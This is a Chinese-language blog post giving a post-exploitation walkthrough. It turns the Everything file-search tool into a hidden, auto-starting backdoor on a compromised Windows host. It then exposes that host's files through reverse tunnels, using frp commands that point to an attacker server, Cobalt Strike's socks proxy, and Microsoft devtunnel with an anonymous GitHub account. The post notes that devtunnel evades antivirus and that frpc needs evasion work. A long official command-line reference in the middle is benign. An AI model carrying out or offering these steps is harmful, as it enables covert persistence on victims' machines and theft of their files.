后渗透之everything使用

文章最后更新时间为:2024年04月12日 11:23:57

最近需要做一些免杀和后渗透的工作,将一些偏向实战性质的笔记发在这里,给博客清清灰。

everything在后渗透中可以作为一个文件搜索下载工具使用,在一些场景中也可以作为免杀持久化后门使用,下面记录下实战使用方法,注意前提是已经拿到了管理员权限

1. 下载everything便携版

从官网下载即可 https://www.voidtools.com/zh-cn/

这里我一般下载便携版64位就能满足需求了,如果目标是32位机器的话记得下载32位的

2024-04-11T12:02:28.png

2. 生成everything配置文件

双击打开everything.exe,然后在同目录下会生成一个everything.ini。我们需要生成一个配置好的everything.ini文件。

首先打开工具-选项,关闭显示托盘图标

2024-04-11T12:05:12.png

然后开启http和ftp服务:

2024-04-11T12:06:59.png

2024-04-11T12:07:25.png

至此得到everything.ini

3. 上传everything并执行

将everything.exe和everything.ini上传到目标机器,然后执行命令安装启动client,并且将everything注册到系统服务中,开机会自动运行

# 这行命令用来开启进程,添加服务
everything.exe -install-client-service

# 这行命令用来关闭进程,删除服务
everything.exe -uninstall-client-service

2024-04-11T12:17:09.png

附录上everything命令行参数说明


Everything.exe [filename] [options]

filename          指定打开的文件列表.

-?          显示帮助.
-admin          以管理员身份运行 "Everything".
-admin-server-share-links          在 ETP 连接中使用 \\Server\C$ 的链接形式.
-app-data          保存数据到应用程序数据.
-bookmark <name>          打开指定的书签.
-case          启用大小写区分.
-choose-language          显示语言选择窗口.
-choose-volumes          禁用自动索引.
-close          关闭当前搜索窗口.
-config <filename>          指定 ini 文件的文件名.
-connect <user:pass@host:port>          连接 ETP 服务器.
-console          显示调试控制台.
-copyto <filename1> <...>          显示使用指定文件名的多文件重命名工具.
-create-file-list <filename> <path>          创建一个路径的文件列表.
-create-file-list-exclude-files <list>          排除匹配筛选器的文件, 筛选器用分号分隔.
-create-file-list-exclude-folders <list>          排除匹配筛选器的文件夹, 筛选器用分号分隔.
-create-file-list-include-only-files <list>          仅包含匹配筛选器的文件, 筛选器用分号分隔.
-create-usn-journal <volume> <max-size-bytes> <allocation-delta-bytes>
-db <filename>          指定数据库的文件名.
-debug          显示调试控制台.
-debug-log          记录调试信息到本地硬盘.
-delete-usn-journal <volume>          删除 USN 日志.
-details          以详情视图显示结果.
-diacritics          启用变音符匹配.
-disable-run-as-admin          禁用以管理员身份运行.
-disable-update-notification          禁用程序打开时更新通知.
-drive-links          在 ETP 连接中使用 C: 的链接形式.
-edit <filename>          用文件列表编辑器打开文件列表.
-enable-run-as-admin          启用以管理员身份运行.
-enable-update-notification          启用程序打开时更新通知.
-exit          退出 "Everything".
-first-instance          仅当此为 "Everything" 第一个实例时运行.
-filelist <filename>          打开指定的文件列表.
-filename <filename>          搜索指定文件名的文件和文件夹.
-filter <name>          选择指定的搜索筛选器.
-focus-bottom-result          聚焦到底部结果.
-focus-last-run-result          聚焦到上次运行结果.
-focus-most-run-result          聚焦到最常运行结果.
-focus-results          聚焦到结果列表.
-focus-top-result          聚焦到顶部结果.
-ftp-links          在 ETP 连接中使用 ftp://host/C: 的链接形式.
-fullscreen          全屏显示搜索窗口.
-h          显示帮助.
-help          显示帮助.
-home          打开搜索首页.
-install <location>          安装 "Everything" 到指定路径.
-install-client-service          安装 "Everything" 客户服务.
-install-config <filename>          安装指定 ini 文件.
-install-desktop-shortcut          创建桌面快捷方式.
-install-efu-association          关联 EFU 文件.
-install-folder-context-menu          安装文件夹右键菜单.
-install-quick-launch-shortcut          添加到快速启动栏.
-install-run-on-system-startup          添加 "Everything" 到启动项.
-install-service          安装并开启 "Everything" 服务.
-install-service-pipe-name <name>          指定 "Everything" 服务管道名称.
-install-service-security-descriptor          指定管道安全描述.
-install-start-menu-shortcuts          添加 "Everything" 到开始菜单.
-install-url-protocol          安装 URL 协议.
-instance <name>          指定 "Everything" 的实例名.
-l          载入本地数据库.
-language <langID>          指定语言代码以变更界面语言.
-load-delay <milliseconds>          载入数据库之前, 指定以毫秒为单位的延迟.
-local          载入本地数据库.
-matchpath          启用完整路径匹配.
-maximized          最大化搜索窗口.
-minimized          最小化搜索窗口.
-moveto <filename1> <...>          显示使用指定文件名的多文件重命名工具.
-name-part <filename>          搜索文件部分文件名.
-newwindow          新建搜索窗口.
-noapp-data          保存数据到应用程序路径.
-nocase          禁用大小写区分.
-nodb          不保存或载入 "Everything" 数据库.
-nodiacritics          禁用变音符匹配.
-nofullscreen          窗口化显示搜索窗口.
-nomatchpath          禁用完整路径匹配.
-nomaximized          非最大化搜索窗口.
-nominimized          非最小化搜索窗口.
-nonewwindow          显示存在的搜索窗口.
-noontop          禁用总在最前.
-noregex          禁用正则表达式.
-noverbose          显示基本调制信息.
-nowholeword          禁用全字匹配.
-noww          禁用全字匹配.
-ontop          启用总在最前.
-p <path>          搜索指定的路径.
-parent <path>          搜索指定文件夹中的文件和子文件夹.
-parentpath <path>          搜索指定的父目录.
-path <path>          搜索指定的路径.
-quit          退出 "Everything".
-read-only          以只读模式载入数据库.
-regex          使用正则表达式.
-reindex          强制重建数据库.
-rename <filename1> <...>          显示使用指定文件名的多文件重命名工具.
-s <text>          搜索指定文本.
-search <text>          搜索指定文本.
-searchfilelist <filename>          在指定的文本搜索列表中的文件名.
-select <filename>          聚焦且选定指定结果.
-server-share-links          在 ETP 连接中使用 \\Server\C: 的链接形式.
-service-pipe-name <name>          链接到指定名称的安全管道.
-sort <name>          以指定名称排列.
-sort-ascending          升序排列.
-sort-descending          降序排列.
-start-client-service          开启 "Everything" 客户服务.
-start-service          开启 "Everything" 服务.
-startup          后台运行 "Everything".
-stop-client-service          停止 "Everything" 客户服务.
-stop-service          停止 "Everything" 服务.
-svc          以服务形式运行 "Everything".
-svc-pipe-name <name>          启用指定名称的管道服务器.
-svc-security-descriptor <sd>          启用指定安全描述的管道服务器.
-thumbnail-size <size>          指定图标大小.
-thumbnails          以图标视图显示结果.
-toggle-window          隐藏或显示前台搜索窗口.
-uninstall [path]          指定 "Everything" 路径来卸载.
-uninstall-client-service          移除 "Everything" 客户服务.
-uninstall-desktop-shortcut          移除桌面快捷方式.
-uninstall-efu-association          移除 EFU 文件关联.
-uninstall-folder-context-menu          移除文件夹右键菜单.
-uninstall-quick-launch-shortcut          从快速启动栏移除.
-uninstall-run-on-system-startup          移除 "Everything" 启动项.
-uninstall-service          移除 "Everything" 服务.
-uninstall-start-menu-shortcuts          从开始菜单中移除 "Everything" .
-uninstall-url-protocol          卸载 URL 协议.
-uninstall-user          移除用户文件.
-update          更新数据库.
-url <[es:]search>          搜索指定链接 ES: URL.
-verbose          显示所有调试信息.
-wholeword          启用全字匹配.
-ww          启用全字符匹配.

4. 验证是否生效

在目标上访问127.0.0.1:2088,可以查看网页已经可以打开,并且正常访问了

2024-04-11T14:02:48.png

5. 端口转发

一般情况下,目标都没有公网ip,所以这个时候我们想访问everything也无法访问,需要将端口转发到公网上来,下面介绍三种常见的方式

5.1 frp

就是一个端口转发工具,还有另外一些常见的工具如nps、ew、lcx等等这里就不再概述了,原理都是一样的。因为frp是开源项目所以使用这个工具比较方便。

找一个公网服务器执行

./frps -p 7001 -t helloworld

然后将frpc上传到目标上,执行

frpc.exe tcp --proxy-name=test --server_addr=xxx.xxx.xxx.xxx --server-port 7001 --token=helloworld --local_ip=127.0.0.1 --local_port=2088 --remote_port=12088

ps: 不用的时候需要把frpc.exe进程关掉,不然会一直持续尝试连接server
taskkill /f /t /im frpc.exe

此时访问公网服务器的12088端口就相当于访问目标机器的2088端口了。

ps: 有时候需要做一下frpc的免杀

5.2 cs自带的socks server功能

cs自带socks server功能,可以在cs的server上启动一个socks代理,然后这个代理的流量会转发到目标机器的内网:

2024-04-11T14:11:25.png

然后在浏览器上或者proxychains挂上socks代理,代理的ip为cs的server,端口为刚才cs页面选定的端口,此时就可以直接在浏览器访问目标的http服务了

ps: 但是这种方式效果不太好,网速比较慢

5.3 利用devtunnel实现转发

微软官方提供端口转发的能力,文档可以见https://learn.microsoft.com/zh-cn/azure/developer/dev-tunnels/cli-commands

首先在官方下载devtunnel.exe : https://aka.ms/TunnelsCliDownload/win-x64

然后将devtunnel.exe上传到目标机器,执行

devtunnel.exe user login -g -d

生成一个code,然后在本地打开github.com/login/device,使用github账号绑定一下这个code。(这里注意要新建一个匿名的github账号)

绑定完成后,在目标机器上执行

devtunnel.exe host -p 2088

执行完毕后,就会返回一个链接,打开这个链接,就等于访问目标机器的2088端口了。

ps: 这种方式适用于没有服务器的情况,同时devtunnel.exe有官方签名,天然免杀,缺点就是需要注册一个新的github账号,且网速一般,隧道转发的连接数也有限制

1 + 2 =
快来做第一个评论的人吧~